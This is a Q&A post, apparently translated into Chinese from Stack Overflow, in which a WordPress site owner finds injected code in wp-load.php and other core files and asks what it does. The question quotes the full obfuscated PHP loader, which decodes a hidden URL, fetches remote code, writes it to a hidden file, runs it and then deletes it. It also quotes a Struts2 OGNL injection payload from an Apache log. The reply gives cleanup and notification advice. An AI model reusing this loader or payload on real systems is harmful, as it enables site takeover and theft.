WordPress代码中插入了奇怪的攻击脚本

时间:2019-04-03 10:29:14

标签: php wordpress apache security php-5.3

从昨天开始无法访问WordPress网站,仅显示一条以此开头的消息

  

Bootstrap文件,用于设置ABSPATH常数并加载wp-config.php文件。然后,wp-config.php文件将加载wp-settings.php文件,这将设置WordPress环境。

我迅速停用了站点,调查了代码,发现在wp-inlcude / functions.php的多个部分中的wp-load.php,wp-setting.php中插入了一些可疑的PHP脚本。谁能告诉我它想做什么?

您对我下一步的建议是什么?借助备份副本,我已经恢复了网页,而且攻击似乎没有涉及数据库,但我担心他们从中获得了什么样的信息。

这是脚本:

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUvdAsS7swbOuvdPFbQdr9dm2WSGbE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>

我已经在我的Apache日志中找到了它:

  

文件名太长:访问/%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony。 xwork2.ActionContext.container'])。(#ognlUtil =#container.getInstance(@ com.opensymphony.xwork2.ognl.OgnlUtil @ class))。(#ognlUtil.getExcludedPackageNames()。clear())。(#ognlUtil。 getExcludedClasses()。clear())。(#context.setMemberAccess(#dm))))。(#res = @ org.apache.struts2.ServletActionContext @ getResponse())。(#res.addHeader('eresult', 'struts2_security_check'))} /失败

1 个答案:

答案 0 :(得分:1)

您最好的选择是擦除所有内容并从头开始。如果那不可能:

  1. 删除所有可疑的PHP文件,尤其是在wp-content目录中。
  2. 检查所有WordPress PHP文件的最后修改日期。寻找其他可疑的东西。 (这些可以伪造,但攻击者很少打扰。)
  3. 卸载所有插件。我检查过的几乎每个WordPress插件都充满了主要漏洞,以至于甚至都不值得报告这些漏洞。 Automattic所做的任何事情通常都是安全的,但除此之外,所有的赌注都没有。除了JetPack之外,与电子邮件相关的任何内容(订阅,邮件列表等)都充满漏洞-我检查了许多漏洞,但从未发现有安全漏洞。
  4. 如果您需要更全面的信息或网站中的数据特别敏感,请在the Security Stack Exchange上提问。
  5. 如果您的网站收集了包括电子邮件地址在内的个人数据,请通知所有人您的网站已遭到入侵。在某些司法管辖区和行业中,法律可能会要求这样做;如果您担心自己的法律义务,应咨询律师。